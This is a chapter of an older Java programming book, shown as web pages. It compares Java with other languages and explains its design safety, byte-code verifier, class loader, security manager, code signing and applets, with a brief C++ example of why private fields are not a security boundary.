In general, interpreters are slow, but because the Java interpreter runs compiled byte-code, Java is a fast interpreted language. Java has also been designed so that software implementations of the run-time system can optimize their performance by compiling byte-code to native machine code on the fly. This is called "just in time" compilation. Sun claims that with just in time compilation, Java code can execute nearly as fast as native compiled code and maintain its transportability and security. The one performance hit that natively compiled Java code will always suffer is array bounds checking. But on the other hand, some of the basic design features of Java place more information in the hands of the compiler, which allows for certain kinds of optimizations not possible in C or C++.

Previous | Home | Next
Enter Java | Book Index | Java Compared
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.3 Java Compared

Previous Chapter 1
Yet Another Language? 		Next

1.3 Java Compared

Java is a new language, but it draws on many years of programming experience with other languages in its choice of features. So a lot can be said in comparing and contrasting Java with other languages. There are at least three pillars necessary to support a universal language for network programming today: portability, speed, and security. Figure 1.2 shows how Java compares to other languages.

Figure 1.2: Programming languages compared

[Graphic: Figure 1-2]

You may have heard that Java is a lot like C or C++, but that's really not true, except at a superficial level. When you first look at Java code, you'll see that the basic syntax looks a lot like C or C++. But that's where the similarities end. Java is by no means a direct descendant of C or a next generation C++. If you compare language features, you'll see that Java actually has more in common with languages like Smalltalk and Lisp. In fact, Java's implementation is about as far from native C as you can imagine.

The surface-level similarities to C and C++ are worth noting, however. Java borrows heavily from C and C++ syntax, so you'll see lots of familiar language constructs, including an abundance of curly braces and semicolons. Java also subscribes to the C philosophy that a good language should be compact; in other words, it should be sufficiently small and regular so that a programmer can hold all the language's capabilities in his or her head at once. As C is extensible with libraries, packages of Java classes can be added to the core language components.

C has been successful because it provides a reasonably featureful programming environment, with high performance and an acceptable degree of portability. Java also tries to balance functionality, speed, and portability, but it does so in a very different way. While C trades functionality to get portability, Java trades speed for portability. Java also addresses security issues, while C doesn't.

Java is an interpreted language, so it won't be as fast as a compiled language like C. But Java is fast enough, especially for interactive, network-based applications, where the application is often idle, waiting for the user to do something or waiting for data from the network. For situations where speed is critical, a Java implementation can optimize performance by compiling byte-code to native machine code on the fly.

Scripting languages, like Tcl, Perl, and Wksh, are becoming quite popular, and for good reason. There's no reason a scripting language could not be suitable for safe, networked applications (e.g., Safe Tcl), but most scripting languages are not designed for serious, large-scale programming. The attraction to scripting languages is that they are dynamic; they are powerful tools for rapid prototyping. Some scripting languages, like awk and Perl, also provide powerful tools for text-processing tasks more general-purpose languages find unwieldy. Scripting languages are also highly portable.

One problem with scripting languages, however, is that they are rather casual about program structure and data typing. Most scripting languages (with a hesitant exception for Perl 5.0) are not object oriented. They also have vastly simplified type systems and generally don't provide for sophisticated scoping of variables and functions. These characteristics make them unsuitable for building large, modular applications. Speed is another problem with scripting languages; the high-level, fully interpreted nature of these languages often makes them quite slow.

Java offers some of the essential advantages of a scripting language, along with the added benefits of a lower-level language.[1] Incremental development with object-oriented components, combined with Java's simplicity, make it possible to develop applications rapidly and change them easily, with a short concept to implementation time. Java also comes with a large base of core classes for common tasks such as building GUIs and doing network communications. But along with these features, Java has the scalability and software-engineering advantages of more static languages. It provides a safe structure on which to build higher-level networked tools and languages.

[1] Don't confuse Java with JavaScript. JavaScript is an object-based scripting language being developed by Netscape and is designed to create dynamic, interactive Web applications. JavaScript is a very different language from Java in most respects. For more information on JavaScript, check out Netscape's Web site (http://home.netscape.com).

As I've already said, Java is similar in design to languages like Smalltalk and Lisp. However, these languages are used mostly as research vehicles, rather than for developing large-scale systems. One reason is that they never developed a standard portable binding to operating-system services analogous to the C standard library or the Java core classes. Smalltalk is compiled to an interpreted byte-code format, and it can be dynamically compiled to native code on the fly, just like Java. But Java improves on the design by using a byte-code verifier to ensure the correctness of Java code. This verifier gives Java a performance advantage over Smalltalk because Java code requires fewer run-time checks. Java's byte-code verifier also helps with security issues, something that Smalltalk doesn't address. Smalltalk is a mature language though, and Java's designers took lessons from many of its features.

Throughout the rest of this chapter, we'll take a bird's eye view of the Java language. I'll explain what's new and what's not so new about Java; how it differs from other languages, and why.

Previous | Home | Next
A Virtual Machine | Book Index | Safety of Design
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.4 Safety of Design

Previous Chapter 1
Yet Another Language? 		Next

1.4 Safety of Design

You have no doubt heard a lot about the fact that Java is designed to be a safe language. But what do we mean by safe? Safe from what or whom? The security features that attract the most attention for Java are those features that make possible new types of dynamically portable software. Java provides several layers of protection from dangerously flawed code, as well as more mischievous things like viruses and trojan horses. In the next section, we'll take a look at how the Java virtual machine architecture assesses the safety of code before it's run, and how the Java class loader builds a wall around untrusted classes. These features provide the foundation for high-level security policies that allow or disallow various kinds of activities on an application-by-application basis.

In this section though, we'll look at some general features of the Java programming language. What is perhaps more important, although often overlooked in the security din, is the safety that Java provides by addressing common design and programming problems. Java is intended to be as safe as possible from the simple mistakes we make ourselves, as well as those we inherit from contractors and third-party software vendors. The goal with Java has been to keep the language simple, provide tools that have demonstrated their usefulness, and let users build more complicated facilities on top of the language when needed.

Syntactic Sweet 'n Low

Java is parsimonious in its features; simplicity rules. Compared to C, Java uses few automatic type coercions, and the ones that remain are simple and well-defined. Unlike C++, Java doesn't allow programmer-defined operator overloading. The string concatenation operator + is the only system-defined, overloaded operator in Java. All methods in Java are like C++ virtual methods, so overridden methods are dynamically selected at run-time.

Java doesn't have a preprocessor, so it doesn't have macros, #define statements, or conditional source compilation. These constructs exist in other languages primarily to support platform dependencies, so in that sense they should not be needed in Java. Another common use for conditional compilation is for debugging purposes. Debugging code can be included directly in your Java source code by making it conditional on a constant (i.e., static and final) variable. The Java compiler is smart enough to remove this code when it determines that it won't be called.

Java provides a well-defined package structure for organizing class files. The package system allows the compiler to handle most of the functionality of make. The compiler also works with compiled Java classes because all type information is preserved; there is no need for header files. All of this means that Java code requires little context to read. Indeed, you may sometimes find it faster to look at the Java source code than to refer to class documentation.

Java replaces some features that have been troublesome in other languages. For example, Java supports only a single inheritance class hierarchy, but allows multiple inheritance of interfaces. An interface, like an abstract class in C++, specifies the behavior of an object without defining its implementation, a powerful mechanism borrowed from Objective C. It allows a class to implement the behavior of the interface, without needing to be a subclass of the interface. Interfaces in Java eliminate the need for multiple inheritance of classes, without causing the problems associated with multiple inheritance.

As you'll see in Chapter 4, The Java Language, Java is a simple, yet elegant, programming language.

Type Safety and Method Binding

One attribute of a language is the kind of type checking it uses. When we categorize a language as static or dynamic we are referring to the amount of information about variable types that is known at compile time versus what is determined while the application is running.

In a strictly statically typed language like C or C++, data types are etched in stone when the source code is compiled. The compiler benefits from having enough information to enforce usage rules, so that it can catch many kinds of errors before the code is executed. The code doesn't require run-time type checking, which is advantageous because it can be compiled to be small and fast. But statically typed languages are inflexible. They don't support high-level constructs like lists and collections as naturally as languages with dynamic type checking, and they make it impossible for an application to safely import new data types while it's running.

In contrast, a dynamic language like Smalltalk or Lisp has a run-time system that manages the types of objects and performs necessary type checking while an application is executing. These kinds of languages allow for more complex behavior, and are in many respects more powerful. However, they are also generally slower, less safe, and harder to debug.

The differences in languages have been likened to the differences between kinds of automobiles.[2] Statically typed languages like C++ are analogous to a sports car--reasonably safe and fast--but useful only if you're driving on a nicely paved road. Highly dynamic languages like Smalltalk are more like an offroad vehicle: they afford you more freedom, but can be somewhat unwieldy. It can be fun (and sometimes faster) to go roaring through the back woods, but you might also get stuck in a ditch or mauled by bears.

[2] The credit for the car analogy goes to Marshall P. Cline, author of the C++ FAQ.

Another attribute of a language deals with when it binds method calls to their definitions. In an early-binding language like C or C++, the definitions of methods are normally bound at compile-time, unless the programmer specifies otherwise. Smalltalk, on the other hand, is a late-binding language because it locates the definitions of methods dynamically at run-time. Early-binding is important for performance reasons; an application can run without the overhead incurred by searching method tables at run-time. But late-binding is more flexible. It's also necessary in an object-oriented language, where a subclass can override methods in its superclass, and only the run-time system can determine which method to run.

Java provides some of the benefits of both C++ and Smalltalk; it's a statically typed, late-binding language. Every object in Java has a well-defined type that is known at compile time. This means the Java compiler can do the same kind of static type checking and usage analysis as C++. As a result, you can't assign an object to the wrong type of reference or call nonexistent methods within it. The Java compiler goes even further and prevents you from messing up and trying to use uninitialized variables.

However, Java is fully run-time typed as well. The Java run-time system keeps track of all objects and makes it possible to determine their types and relationships during execution. This means you can inspect an object at run-time to determine what it is. Unlike C or C++, casts from one type of object to another are checked by the run-time system, and it's even possible to use completely new kinds of dynamically loaded objects with a level of type safety.

Since Java is a late-binding language, all methods are like virtual methods in C++. This makes it possible for a subclass to override methods in its superclass. But Java also allows you to gain the performance benefits of early-binding by declaring (with the final modifier) that certain methods can't be overridden by subclassing, removing the need for run-time lookup.

Incremental Development

Java carries all data-type and method-signature information with it from its source code to its compiled byte-code form. This means that Java classes can be developed incrementally. Your own Java classes can also be used safely with classes from other sources your compiler has never seen. In other words, you can write new code that references binary class files, without losing the type safety you gain from having the source code. The Java run-time system can load new classes while an application is running, thus providing the capabilities of a dynamic linker.

A common irritation with C++ is the "fragile base class" problem. In C++, the implementation of a base class can be effectively frozen by the fact that it has many derived classes; changing the base class may require recompilation of the derived classes. This is an especially difficult problem for developers of class libraries. Java avoids this problem by dynamically locating fields within classes. As long as a class maintains a valid form of its original structure, it can evolve without breaking other classes that are derived from it or that make use of it.

Dynamic Memory Management

Some of the most important differences between Java and C or C++ involve how Java manages memory. Java eliminates ad hoc pointers and adds garbage collection and true arrays to the language. These features eliminate many otherwise insurmountable problems with safety, portability, and optimization.

Garbage collection alone should save countless programmers from the single largest source of programming errors in C or C++: explicit memory allocation and deallocation. In addition to maintaining objects in memory, the Java run-time system keeps track of all references to those objects. When an object is no longer in use, Java automatically removes it from memory. You can simply throw away references to objects you no longer use and have confidence that the system will clean them up at an appropriate time. Sun's current implementation of Java uses a conservative, mark and sweep garbage collector that runs intermittently in the background, which means that most garbage collecting takes place between mouse clicks and keyboard hits. Once you get used to garbage collection, you won't go back. Being able to write air-tight C code that juggles memory without dropping any on the floor is an important skill, but once you become addicted to Java you can "realloc" some of those brain cells to new tasks.

You may hear people say that Java doesn't have pointers. Strictly speaking, this statement is true, but it's also misleading. What Java provides are references--a safe kind of pointer--and Java is rife with them. A reference is a strongly typed handle for an object. All objects in Java, with the exception of primitive numeric types, are accessed through references. If necessary, you can use references to build all the normal kinds of data structures you're accustomed to building with pointers, like linked lists, trees, and so forth. The only difference is that with references you have to do so in a type-safe way.

Another important difference between a reference and a pointer is that you can't do pointer arithmetic with references. A reference is an atomic thing; you can't manipulate the value of a reference except by assigning it to an object. References are passed by value, and you can't reference an object through more than a single level of indirection. The protection of references is one of the most fundamental aspects of Java security. It means that Java code has to play by the rules; it can't peek into places it shouldn't.

Unlike C or C++ pointers, Java references can point only to class types. There are no pointers to methods. People often complain about this missing feature, but you will find that most tasks that call for pointers to methods, such as callbacks, can be accomplished using interfaces and anonymous adapter classes instead. [3]

[3] Java 1.1 does have a Method class, which lets you have a reference to a method. You can use a Method object to construct a callback, but it's tricky.

Finally, arrays in Java are true, first-class objects. They can be dynamically allocated and assigned like other objects. Arrays know their own size and type, and although you can't directly define array classes or subclass them, they do have a well-defined inheritance relationship based on the relationship of their base types. Having true arrays in the language alleviates much of the need for pointer arithmetic like that in C or C++.

Error Handling

Java's roots are in networked devices and embedded systems. For these applications, it's important to have robust and intelligent error management. Java has a powerful exception-handling mechanism, somewhat like that in newer implementations of C++. Exceptions provide a more natural and elegant way to handle errors. Exceptions allow you to separate error-handling code from normal code, which makes for cleaner, more readable applications.

When an exception occurs, it causes the flow of program execution to be transferred to a predesignated catcher block of code. The exception carries with it an object that contains information about the situation that caused the exception. The Java compiler requires that a method either declare the exceptions it can generate or catch and deal with them itself. This promotes error information to the same level of importance as argument and return typing. As a Java programmer, you know precisely what exceptional conditions you must deal with, and you have help from the compiler in writing correct software that doesn't leave them unhandled.

Multithreading

Applications today require a high degree of parallelism. Even a very single-minded application can have a complex user interface. As machines get faster, users become more sensitive to waiting for unrelated tasks that seize control of their time. Threads provide efficient multiprocessing and distribution of tasks. Java makes threads easy to use because support for them is built into the language.

Concurrency is nice, but there's more to programming with threads than just performing multiple tasks simultaneously. In many cases, threads need to be synchronized, which can be tricky without explicit language support. Java supports synchronization based on the monitor and condition model developed by C.A.R. Hoare--a sort of lock and key system for accessing resources. A keyword, synchronized, designates methods for safe, serialized access within an object. Only one synchronized method within the object may run at a given time. There are also simple, primitive methods for explicit waiting and signaling between threads interested in the same object.

Learning to program with threads is an important part of learning to program in Java. See Chapter 6, Threads for a discussion of this topic. For complete coverage of threads, see Java Threads, by Scott Oaks and Henry Wong (O'Reilly & Associates).

Scalability

At the lowest level, Java programs consist of classes. Classes are intended to be small, modular components. They can be separated physically on different systems, retrieved dynamically, and even cached in various distribution schemes. Over classes, Java provides packages, a layer of structure that groups classes into functional units. Packages provide a naming convention for organizing classes and a second level of organizational control over the visibility of variables and methods in Java applications.

Within a package, a class is either publicly visible or protected from outside access. Packages form another type of scope that is closer to the application level. This lends itself to building reusable components that work together in a system. Packages also help in designing a scalable application that can grow without becoming a bird's nest of tightly coupled code dependency.

Previous | Home | Next
Java Compared | Book Index | Safety of Implementation
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.5 Safety of Implementation

Previous Chapter 1
Yet Another Language? 		Next

1.5 Safety of Implementation

It's one thing to create a language that prevents you from shooting yourself in the foot; it's quite another to create one that prevents others from shooting you in the foot.

Encapsulation is a technique for hiding data and behavior within a class; it's an important part of object-oriented design. It helps you write clean, modular software. In most languages however, the visibility of data items is simply part of the relationship between the programmer and the compiler. It's a matter of semantics, not an assertion about the actual security of the data in the context of the running program's environment.

When Bjarne Stroustrup chose the keyword private to designate hidden members of classes in C++, he was probably thinking about shielding you from the messy details of a class developer's code, not the issues of shielding that developer's classes and objects from the onslaught of someone else's viruses and trojan horses. Arbitrary casting and pointer arithmetic in C or C++ make it trivial to violate access permissions on classes without breaking the rules of the language. Consider the following code:

// C++

class Finances {
    private:
        char creditCardNumber[16];
        ...
    };

main() {
    Finances finances;

    // Forge a pointer to peek inside the class
    char *cardno = (char *)finances;
    printf("Card Number = %s\n", cardno);
}

In this little C++ drama, we have written some code that violates the encapsulation of the Finances class and pulls out some secret information. If this example seems unrealistic, consider how important it is to protect the foundation (system) classes of the run-time environment from similar kinds of attacks. If untrusted code can corrupt the components that provide access to real resources, such as the filesystem, the network, or the windowing system, it certainly has a chance at stealing your credit card numbers.

In Visual BASIC, it's also possible to compromise the system by peeking, poking, and, under DOS, installing interrupt handlers. Even some recent languages that have some commonalities with Java lack important security features. For example, the Apple Newton uses an object-oriented language called NewtonScript that is compiled into an interpreted byte-code format. However, NewtonScript has no concept of public and private members, so a Newton application has free reign to access any information it finds. General Magic's Telescript language is another example of a device-independent language that does not fully address security concerns.

If a Java application is to dynamically download code from an untrusted source on the Internet and run it alongside applications that might contain confidential information, protection has to extend very deep. The Java security model wraps three layers of protection around imported classes, as shown in Figure 1.3.

Figure 1.3: The Java security model

[Graphic: Figure 1-3]

At the outside, application-level security decisions are made by a security manager. A security manager controls access to system resources like the filesystem, network ports, and the windowing environment. A security manager relies on the ability of a class loader to protect basic system classes. A class loader handles loading classes from the network. At the inner level, all system security ultimately rests on the Java verifier, which guarantees the integrity of incoming classes.

The Java byte-code verifier is an integral part of the Java run-time system. Class loaders and security managers, however, are implemented by applications that load applets, such as applet viewers and Web browsers. All these pieces need to be functioning properly to ensure security in the Java environment.[4]

[4] You may have seen reports about various security flaws in Java. While these weaknesses are real, it's important to realize that they have been found in the implementations of various components, namely Sun's byte-code verifier and Netscape's class loader and security manager, not in the basic security model itself. One of the reasons Sun has released the source code for Java is to encourage people to search for weaknesses, so they can be removed.

The Verifier

Java's first line of defense is the byte-code verifier. The verifier reads byte-code before they are run and makes sure they are well-behaved and obey the basic rules of the Java language. A trusted Java compiler won't produce code that does otherwise. However, it's possible for a mischievous person to deliberately assemble bad code. It's the verifier's job to detect this.

Once code has been verified, it's considered safe from certain inadvertent or malicious errors. For example, verified code can't forge pointers or violate access permissions on objects. It can't perform illegal casts or use objects in ways other than they are intended. It can't even cause certain types of internal errors, such as overflowing or underflowing the operand stack. These fundamental guarantees underlie all of Java's security.

You might be wondering, isn't this kind of safety implicit in lots of interpreted languages? Well, while it's true that you shouldn't be able to corrupt the interpreter with bogus BASIC code, remember that the protection in most interpreted languages happens at a higher level. Those languages are likely to have heavyweight interpreters that do a great deal of run-time work, so they are necessarily slower and more cumbersome.

By comparison, Java byte-code is a relatively light, low-level instruction set. The ability to statically verify the Java byte-code before execution lets the Java interpreter run at full speed with full safety, without expensive run-time checks. Of course, you are always going to pay the price of running an interpreter, but that's not a serious problem with the speed of modern CPUs. Java byte-code can also be compiled on the fly to native machine code, which has even less run-time overhead.

The verifier is a type of theorem prover. It steps through the Java byte-code and applies simple, inductive rules to determine certain aspects of how the byte-code will behave. This kind of analysis is possible because compiled Java byte-code has a lot more type information stored within it than other languages of this kind. The byte-code also has to obey a few extra rules that simplify its behavior. First, most byte-code instructions operate only on individual data types. For example, with stack operations, there are separate instructions for object references and for each of the numeric types in Java. Similarly, there is a different instruction for moving each type of value into and out of a local variable.

Second, the type of object resulting from any operation is always known in advance. There are no byte-code operations that consume values and produce more than one possible type of value as output. As a result, it's always possible to look at the next instruction and its operands, and know the type of value that will result.

Because an operation always produces a known type, by looking at the starting state, it's possible to determine the types of all items on the stack and in local variables at any point in the future. The collection of all this type information at any given time is called the type state of the stack; this is what Java tries to analyze before it runs an application. Java doesn't know anything about the actual values of stack and variable items at this time, just what kind of items they are. However, this is enough information to enforce the security rules and to insure that objects are not manipulated illegally.

To make it feasible to analyze the type state of the stack, Java places an additional restriction on how Java byte-code instructions are executed: all paths to the same point in the code have to arrive with exactly the same type state.[5] This restriction makes it possible for the verifier to trace each branch of the code just once and still know the type state at all points. Thus, the verifier can insure that instruction types and stack value types always correspond, without actually following the execution of the code.

[5] The implications of this rule are mainly of interest to compiler writers. The rule means that Java byte-code can't perform certain types of iterative actions within a single frame of execution. A common example would be looping and pushing values onto the stack. This is not allowed because the path of execution would return to the top of the loop with a potentially different type state on each pass, and there is no way that a static analysis of the code can determine whether it obeys the security rules.

Class Loader

Java adds a second layer of security with a class loader. A class loader is responsible for bringing Java binary classes that contain byte-code into the interpreter. Every application that loads classes from the network must use a class loader to handle this task.

After a class has been loaded and passed through the verifier, it remains associated with its class loader. As a result, classes are effectively partitioned into separate namespaces based on their origin. When a class references another class, the request is served by its original class loader. This means that classes retrieved from a specific source can be restricted to interact only with other classes retrieved from that same location. For example, a Java-enabled Web browser can use a class loader to build a separate space for all the classes loaded from a given uniform resource locator (URL).

The search for classes always begins with the built-in Java system classes. These classes are loaded from the locations specified by the Java interpreter's class path (see Chapter 3, Tools of the Trade). Classes in the class path are loaded by the system only once and can't be replaced. This means that it's impossible for an applet to replace fundamental system classes with its own versions that change their functionality.

Security Manager

Finally, a security manager is responsible for making application-level security decisions. A security manager is an object that can be installed by an application to restrict access to system resources. The security manager is consulted every time the application tries to access items like the filesystem, network ports, external processes, and the windowing environment, so the security manager can allow or deny the request.

A security manager is most useful for applications that run untrusted code as part of their normal operation. Since a Java-enabled Web browser can run applets that may be retrieved from untrusted sources on the Net, such a browser needs to install a security manager as one of its first actions. This security manager then restricts the kinds of access allowed after that point. This lets the application impose an effective level of trust before running an arbitrary piece of code. And once a security manager is installed, it can't be replaced.

A security manager can be as simple or complex as a particular application warrants. Sometimes it's sufficient simply to deny access to all resources or to general categories of services such as the filesystem or network. But it's also possible to make sophisticated decisions based on high-level information. For example, a Java-enabled Web browser could implement a security manager that lets users specify how much an applet is to be trusted or that allows or denies access to specific resources on a case-by-case basis. Of course, this assumes that the browser can determine which applets it ought to trust. We'll see how this problem is solved shortly.

The integrity of a security manager is based on the protection afforded by the lower levels of the Java security model. Without the guarantees provided by the verifier and the class loader, high-level assertions about the safety of system resources are meaningless. The safety provided by the Java byte-code verifier means that the interpreter can't be corrupted or subverted, and that Java code has to use components as they are intended. This, in turn, means that a class loader can guarantee that an application is using the core Java system classes and that these classes are the only means of accessing basic system resources. With these restrictions in place, it's possible to centralize control over those resources with a security manager.

Previous | Home | Next
Safety of Design | Book Index | Application and User Level Security
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.6 Application and User Level Security

Previous Chapter 1
Yet Another Language? 		Next

1.6 Application and User Level Security

There's a fine line between having enough power to do something useful and having all the power to do anything you want. Java provides the foundation for a secure environment in which untrusted code can be quarantined, managed, and safely executed. However, unless you are content with keeping that code in a little black box and running it just for its own benefit, you will have to grant it access to at least some system resources so that it can be useful. Every kind of access carries with it certain risks and benefits. The advantages of granting an untrusted applet access to your windowing system, for example, are that it can display information and let you interact in a useful way. The associated risks are that the applet may instead display something worthless, annoying, or offensive. Since most people can accept that level of risk, graphical applets and the World Wide Web in general are possible.

At one extreme, the simple act of running an application gives it a resource, computation time, that it may put to good use or burn frivolously. It's difficult to prevent an untrusted application from wasting your time, or even attempting a "denial of service" attack. At the other extreme, a powerful, trusted application may justifiably deserve access to all sorts of system resources (e.g., the filesystem, process creation, network interfaces); a malicious application could wreak havoc with these resources. The message here is that important and sometimes complex security issues have to be addressed.

In some situations, it may be acceptable to simply ask the user to "OK" requests. Sun's HotJava Web browser can pop up a dialog box and ask the user's permission for an applet to access an otherwise restricted file. However, we can put only so much burden on our users. An experienced person will quickly grow tired of answering questions; an inexperienced user may not even be able to answer the questions. Is it okay for me to grant an applet access to something if I don't understand what that is?

Making decisions about what is dangerous and what is not can be difficult. Even ostensibly harmless access, like displaying a window can become a threat when paired with the ability for an untrusted application to communicate off of your host. The Java SecurityManager provides an option to flag windows created by an untrusted application with a special, recognizable border to prevent it from impersonating another application and perhaps tricking you into revealing your password or your secret recipe collection. There is also a grey area, in which an application can do devious things that aren't quite destructive. An applet that can mail a bug report can also mail-bomb your boss. The Java language provides the tools to implement whatever security policies you want. However, what these policies will be ultimately depends on who you are, what you are doing, and where you are doing it.

To fully exploit the power of Java, we need to have some basis on which to make reasonable decisions about the level of trust an application should have. Web browsers such as HotJava start by defining a few rules and some coarse levels of security that restrict where applets may come from and what system resources they may access. These rules are sufficient to keep the waving Duke applet from clutching your password file, but they aren't sufficient for applications you'd like to trust with sensitive information. What if you want to implement a secure applet to carry a credit card number to the mall, or more likely the credit-card company? How are people to trust that the applet they are using is really secure? If it's named the "Bank of Boofa" applet, how do they know it's legit?

You might think of trusting only certain hosts for these kinds of applications. However, as Java class files begin to fill the Net, the situation will become more complicated. Hosts can be impersonated. If your communications pass through an untrusted network, you can't be sure you're talking to the intended entity. Furthermore, class files may need to be cached or retrieved through complicated distribution mechanisms. For these kinds of applications, what we really need is a mechanism for verifying the authorship and authenticity of an item and making sure that it has not been tampered with by the time that you received it. Fortunately, this is a problem solved a while ago by your friendly neighborhood cryptographers.

Signing Classes

Digital signatures provide a means of authenticating documents. Like their inky analogs, they associate a name with an item in a way that is supposed to be difficult to forge. Unlike pen on paper, though, electronic digital signatures are actually difficult to forge when used properly. By their nature, digital signatures also provide the benefit that, if authenticated, a document is known not to have been altered in transit. In other words, you can't clip out a digital signature and attach it to a new document.

The details of cryptography are a bit beyond the scope of this book but the basics are important and interesting.[6] Digital signatures are one side of the coin of public-key cryptography. Public-key algorithms rely on the fundamental mathematical difficulty of factoring arbitrarily large numbers. In a public-key system, there are two pieces of information: a public key (as you might have guessed) and a private one. These keys have a special asymmetric relationship such that a message encrypted with one key can be decrypted only by knowing the other. This means that by giving you my public key, you can send me messages that only I can read. No one else, including you, has enough information to decrypt the encoded message, so it's safe to send it over untrusted networks. Now, by reversing this process, I can encrypt something with my private key so that anyone can use my public key to read the message. The important thing in this case is that the task of creating such a message without the private key is just as difficult as decoding the message in the first scenario. Since no one else knows my private key, only the real me could have sent the message. This is the basis for digital signatures. For Java, this means that we can tell a browser "I trust applets signed by John Doe"; if the browser succeeds in decoding an applet using John Doe's public key, it knows that the applet really came from John Doe, and therefore can be allowed greater privileges.

[6] See Bruce Schneier's encyclopedic Applied Cryptography (John Wiley & Sons).

This process can be used to authenticate Java class files and other types of objects sent over the network. The author of a class signs the code with a digital signature, and we authenticate it when we retrieve it. Now we know that we have the authentic class, or do we? There is one problem that a digital signature alone doesn't solve: at some point we still have to assume we have the author's authentic public key. This is where a key-certification agency comes into play.

A key-certification agency validates a key by issuing a certificate that lists a name and an official public key. The certificate is signed with the agency's own digital signature. The agency presumably has a well-known public key to verify the certificate. Of course, this doesn't solve the problem entirely, but it reduces the number of people you have to trust and the amount of information you have to transport reliably. Presumably the agency is a reputable organization, its private keys are well guarded, and it certifies keys only after some kind of real-world validation such as person-to-person contact.

The most recent Java release (1.1) contains the tools you need to work with signed classes. You can sign Java classes; you can tell the HotJava browser whose classes you trust (and how much you trust them). Other browsers, like Netscape Navigator, should support signed classes in the future. You can also use the security API in your own Java programs to handle sensitive data safely. The important thing is, as always, to know who you are dealing with and what kind of software and security you have in place before sending any kind of confidential information over the Net. Don't become paranoid, just keep yourself informed so that you can weigh the risks and the benefits.

Previous | Home | Next
Safety of Implementation | Book Index | Java and the World Wide Web
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.7 Java and the World Wide Web

Previous Chapter 1
Yet Another Language? 		Next

1.7 Java and the World Wide Web

Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do: once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it, "and what is the use of a book," thought Alice, "without pictures or conversations?"

--Alice in Wonderland

The application-level safety features of Java make it possible to develop new kinds of applications not necessarily feasible before now. A Web browser that implements the Java run-time system can incorporate Java applets as executable content inside of documents. This means that Web pages can contain not only static hypertext information but also full-fledged interactive applications. The added potential for use of the WWW is enormous. A user can retrieve and use software simply by navigating with a Web browser. Formerly static information can be paired with portable software for interpreting and using the information. Instead of just providing some data for a spreadsheet, for example, a Web document might contain a fully functional spreadsheet application embedded within it that allows users to view and manipulate the information.

Applets

The term applet is used to mean a small, subordinate, or embeddable application. By embeddable, I mean it's designed to be run and used within the context of a larger system. In that sense, most programs are embedded within a computer's operating system. An operating system manages its native applications in a variety of ways: it starts, stops, suspends, and synchronizes applications; it provides them with certain standard resources; and it protects them from one another by partitioning their environments.

In this book, I'll be describing Java applets, which are Java applications meant to be embedded in and controlled by a larger application, such as a Java-enabled Web browser or an applet viewer. To include an applet as executable content in a Web document, you use a special HTML tag. The <applet> tag points to an applet and provides configuration information about the applet.

As far as the Web browser model is concerned, an applet is just another type of object to display. Browsers make a distinction between items presented inline and items anchored via hypertext links and made available by external means, such as a viewer or helper application. If you download an MPEG video clip, for instance, and your browser doesn't natively understand MPEG, it will look for a helper application (an MPEG player) to pass the information to. Java-enabled Web browsers generally execute applets inline, in the context of a particular document, as shown in Figure 1.4. However, less capable browsers could initially provide some support for Java applets through an external viewer.

Figure 1.4: Applets in a Web document

[Graphic: Figure 1-4]

A Java applet is a compiled Java program, composed of classes just like any Java program. While a simple applet may consist of only a single class, most large applets should be broken into many classes. Each class is stored in a separate class file. The class files for an applet are retrieved from the network as they are needed. A large applet doesn't need to retrieve all its parts or all its data before beginning to interact with the user. Well-designed applets can take advantage of multithreading to wait for certain resources in the background, while performing other activities.

An applet has a four-part life cycle. When an applet is initially loaded by a Web browser, it's asked to initialize itself. The applet is then informed each time it's displayed and each time it's no longer visible to the user. Finally, the applet is told when it's no longer needed, so that it can clean up after itself. During its lifetime, an applet may start and suspend itself, do work, communicate with other applications, and interact with the Web browser.

Applets are autonomous programs, but they are confined within the walls of a Web browser or applet viewer, and have to play by its rules. I'll be discussing the details of what applets can and can't do as we explore features of the Java language. However, under the most conservative security policies, an applet can interact only with the user and can only communicate over the network with the host from which it originated. Other types of activities, like accessing files or interacting directly with outside applications, are typically prevented by the security manager that is part of the Web browser or applet viewer. But aside from these restrictions, there is no fundamental difference between a Java applet and a standalone Java application.

New Kinds of Applications

Sun's HotJava Web browser is written entirely in Java. Because it's a Java application, HotJava is immediately available on any platform with the Java run-time system. This goes a long way towards the goal of a Web browser serving as a universal access point for resources on the Net. And where one Web browser leads the way, more will surely follow.

In addition to displaying Java applets as executable content in Web pages, the HotJava application dynamically extends itself by loading Java code from the Net. HotJava uses protocol handlers and content handlers to provide this functionality.[7] Protocol handlers and content handlers are classes in the Java API that let an application implement new types of URLs and interpret the objects retrieved from them. A Web browser that supports this functionality can load handlers from a remote location and effectively upgrade itself on the fly to use new protocols and access new kinds of information.

[7] Downloadable content and protocol handlers are not supported in HotJava 1.0, but will be supported in a future release.

Like applets, content handlers and protocol handlers can be served by a Web site, along with the information they interpret. As an example, consider the new Portable Network Graphics (PNG) format, a freely distributable alternative to GIF. By supplying a PNG content handler along with PNG images on our server, we give users the ability to use the new image format, just as they would a built-in format. We don't have to create a new standard and force every Web browser to support the new format. Instead, the first time a user loads a document referencing a PNG image from our site, the Web browser will realize it doesn't understand the object and will ask the server if it has a content handler for it. Since we've provided a content handler, the browser can load it and then use it to interpret and display the image dynamically.

In a similar manner, protocol handlers allow a Web browser to start speaking a new protocol with the server. This is especially useful for things like security protocols. If we invent a revolutionary new cryptographic protocol late one night, all we have to do is implement it in the form of a protocol handler and place it on our server. We can then start using URLs that point through our new protocol at objects on our server, and people can immediately begin using it.

These scenarios describe just a few things that safe, transportable code will allow. We will undoubtedly see many other new breeds of application we can't even begin to anticipate.

New Kinds of Media

When it was first released, Java quickly achieved a reputation for multimedia capabilities. Frankly, this wasn't really deserved. At that point, Java provided facilities for doing simple animations and playing audio. You could even animate and play audio simultaneously, though you couldn't synchronize the two. Still, this was a significant advance for the Web, and people thought it was pretty impressive.

